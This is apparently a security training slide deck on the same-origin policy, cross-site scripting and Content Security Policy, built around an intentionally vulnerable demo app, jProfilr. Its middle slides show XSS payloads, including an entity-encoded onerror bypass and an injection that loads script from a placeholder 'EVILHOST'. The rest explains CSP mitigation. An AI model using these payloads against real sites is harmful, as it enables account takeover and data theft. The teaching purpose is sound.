JavaScript: A Security Minefield

- Web browsers are programming language interpreters
- JavaScript is powerful
  - View or modify any HTML content at runtime
  - Submit forms without user interaction
  - Access to special devices: camera, GPS, video card, ...
- Risks
  - JavaScript-based escalation to host execution
  - One website gains access to another's content/functionality

Same-Origin Policy

- Netscape invented Same-Origin Policy along with JavaScript
- General rule
  - If your script was loaded from Site A, then:
    - it won't be able to access Site B's content
- Many exceptions to this rule
  - Certain actions are always allowed cross-origin
  - Special hacks can be used to work around restrictions (JSONP)
  - Access can be explicitly granted via Cross-Origin Resource Sharing
How is an "Origin" Defined?

- A JavaScript origin is typically the strict combination of:
  - Scheme (http vs https vs ftp)
  - Hostname (example.com vs sso.example.org)
  - TCP port

- The origin is considered equivalent if these three items match.
- As an exception to the rule, script from sub-domains can optionally change their own origin to a parent domain.

Origin Examples

Suppose Site A has URL: http://example.com/foo

<table>
<thead>
<tr>
<th>If Site B is...</th>
<th>Evaluation</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://example.com/bar">http://example.com/bar</a></td>
<td>same</td>
</tr>
<tr>
<td><a href="http://example.org/">http://example.org/</a></td>
<td>different</td>
</tr>
<tr>
<td><a href="https://example.com/foo">https://example.com/foo</a></td>
<td>different</td>
</tr>
<tr>
<td><a href="http://example.com:8080/foo">http://example.com:8080/foo</a></td>
<td>different</td>
</tr>
<tr>
<td><a href="http://foo.example.com/foo">http://foo.example.com/foo</a></td>
<td>different</td>
</tr>
</tbody>
</table>

*foo.example.com => example.com is OK; not vice versa*

Cross-Domain Rights

- Redirect requests and submit forms
- Embed images and frames from other sites
  - Sometimes leads to minor leaks of information
- Include external script
  - Script granted caller's origin (not hosted origin)
  - Used for JSONP

Consequences of Cross-Domain Rights

- Cross-Site Request Forgery (CSRF)
  - Redirects
- Cross-site form submission
- Cross-site resource retrieval
- JSON Hijacking
  - External script inclusion
- Clickjacking
  - Cross-site framing
**Cross-Site Scripting (XSS)**

- XSS exploits trick a browser into believing malicious script originated from a victim site
  - Bypasses same-origin policy
  - Attacker can behave like a legitimate site user
- Typically exploited through injection attacks
- Many variations:
  - Reflected vs Stored
  - Server-side vs Client-side
- XSS is far worse than CSRF, Clickjacking and JSON Hijacking

**Introducing jProfilr**

- Many applications store user profile information
- The intentionally-vulnerable jProfilr application simulates this piece of functionality
- I use this in my training courses

**Let's Try a Little XSS**

Maybe we could inject a simple tag with an event handler:

```
<img src=x onerror="alert(1)"
```

Does it work? Why not?

**Working Around Application Behavior**

- Field data is forced to upper case upon storage
  - JavaScript is case-sensitive and most of it is lower-case
  - But HTML is case-insensitive! Can we encode?
- Working Proof of Concept:

```
<img src=x onerror="#x61;#x6c;#x65;#x72;#x74;(#1)
```
Bootstrapping a Real Attack

The application has a length limit on input fields

- This is severely limits the complexity of attacks
- Encoding produces 6x length increase

An attacker would surely want to include external script:

```html
<script>
  document.head.appendChild(document.createElement('SCRIPT'))
  .src = 'http://EVILHOST/E.JS'
</script>
```

Encoded Form:

```
"<img src=x onerror="document.head.appendChild(
  document.createElement('script'))
  .src = 'https://EVILHOST/E.JS'"
```

CSP is Expansive and Powerful

Can restrict a wide variety of script capabilities, including:

- Sources of trusted script/fonts/css
- Form destination, AJAX, and websocket URLs
- Outbound referrer behavior
- Which pages can frame the current page (replaces X-Frame-Options)
- Browser plugins permitted to load
- Valid URLs for images and other media
- ...

Content Security Policy (CSP)

- A framework to help restrict default browser behavior
- Uses HTTP response headers to define white lists of allowed behavior
- Using it generally only restricts default capabilities

CSP Example

```
Content-Security-Policy: script-src 'self' 'unsafe-inline'
https://*.google.com
```

- This policy allows:
  - All script files hosted on the site's origin
  - All script embedded in HTML (`<script>`, `onclick`, ...)  
  - Script hosted on `google.com` over HTTPS
- It disallows:
  - The use of `eval()` and friends
  - Script hosted anywhere else
CSP Provides Reporting Capabilities

- Policies can be set to:
  - Report violations only
  - To enforce restrictions
  - Or a combination thereof
- Violations are reported to a URL specified in the header
- Useful for:
  - Testing policies before going live
  - Testing revisions to policies
  - Alerting during failed XSS attempts

CSP Reporting Example

```
content-Security-Policy-Report-Only:
img-src 'self';
report-uri https://example.com/reports
```

- This allows images only from the same origin
- If the site could be fooled into referencing `http://tasteless/photo.jpg`, then the browser would log an error, but not prevent access
- The warning would show up in the browser console and be sent to the report-uri

CSP Reporting Example (continued)

Browser console message:

```
[Report Only] Refused to load the image 'http://tasteless/photo.jpg' because it violates the following Content Security Policy directive: "img-src 'self'".
```

Auto-generated POST body sent to report-uri:

```
"csp-report":
  {
    "document-uri":"http://127.0.0.1:8080/jprofiler/profile",
    "referrer":"http://127.0.0.1:8080/jprofiler/login",
    "violated-directive":"img-src 'self'",
    "effective-directive":"img-src",
    "original-policy":"img-src 'self'",
    "blocked-uri":http://192.168.56.102/report",
    "report-uri":http://192.168.56.102/report",
    "status-code":200
  }
```

Preventing XSS with CSP

- If applications carefully white list only trusted sources of client-side script, injections can be largely eliminated
- To be fool-proof, must:
  - Minimize inline script, ensure it is static
  - Eliminate hard-coded event attributes (can be set via the DOM)
  - Know all sources of external script
  - Eliminate all `new Function('...'), eval('...')`, and similar calls
Incrementally Mitigating XSS with CSP

Even without a perfect policy, one can mitigate attacks.

Step 1: Start with a report-only policy:

- Allow 'self', 'unsafe-inline', and 'unsafe-eval'
- White list all known external sources of script
- Test and monitor site, white listing additional external sources
- Convert policy to an enforcing one

Step 2: Add new report-only policy that also alerts on 'unsafe-inline'

- Eliminate all static event attributes
- Eliminate as many inline scripts as possible
- White list the remaining using nonces or hashes
- Convert policy to an enforcing one

Step 3: Repeat process for 'unsafe-eval'

Steps 2 and 3 may be difficult to achieve if third-party libraries rely on dynamic script writing to the page. Consider switching away from these libraries!

Testing New Content Security Policies

- jProfilr is pretty awful and clearly needs code changes
- In the mean time, we can block attacks that use external scripts with simple CSP headers
- Let's test out those headers using Burp and Chrome

Let's Start with a Report-Only Policy

Burp allows us to add arbitrary HTTP response headers

- Proxy -> Options -> Match and Replace -> Add
- Handy if you aren't ready to change web server config

Let's add this policy to report on all external script:

```plaintext
Content-Security-Policy-Report-Only:
    script-src 'self'
    'unsafe-inline' 'unsafe-eval'
```
Now Let's Enforce It

- Simply changing the header name to **Content-Security-Policy** will put it in enforcing mode
- Exploit will now fail

Browser Support for CSP

Supported by about ~87% users globally, ~93% of users in USA (as of April 2016):

- Chrome (versions since February 2013)
- IE 10+, Edge (May need X-Content-Security-Policy)
- Firefox (versions since August 2013)
- Safari 7+, Safari Mobile 7.1+
- Opera 25+
- Android Browser 4.4+

Biggest gaps in support: Opera Mini, IE 9 and earlier, and older Android

Final Thoughts

- CSP powerful and widely supported, but hardly used
- Start asking for support:
  - Web application vendors
  - Web designers
  - WAF vendors
  - ...
- Have a buggy, legacy web app?
  - Consider applying CSP to buy you time

Thank You

*Questions?*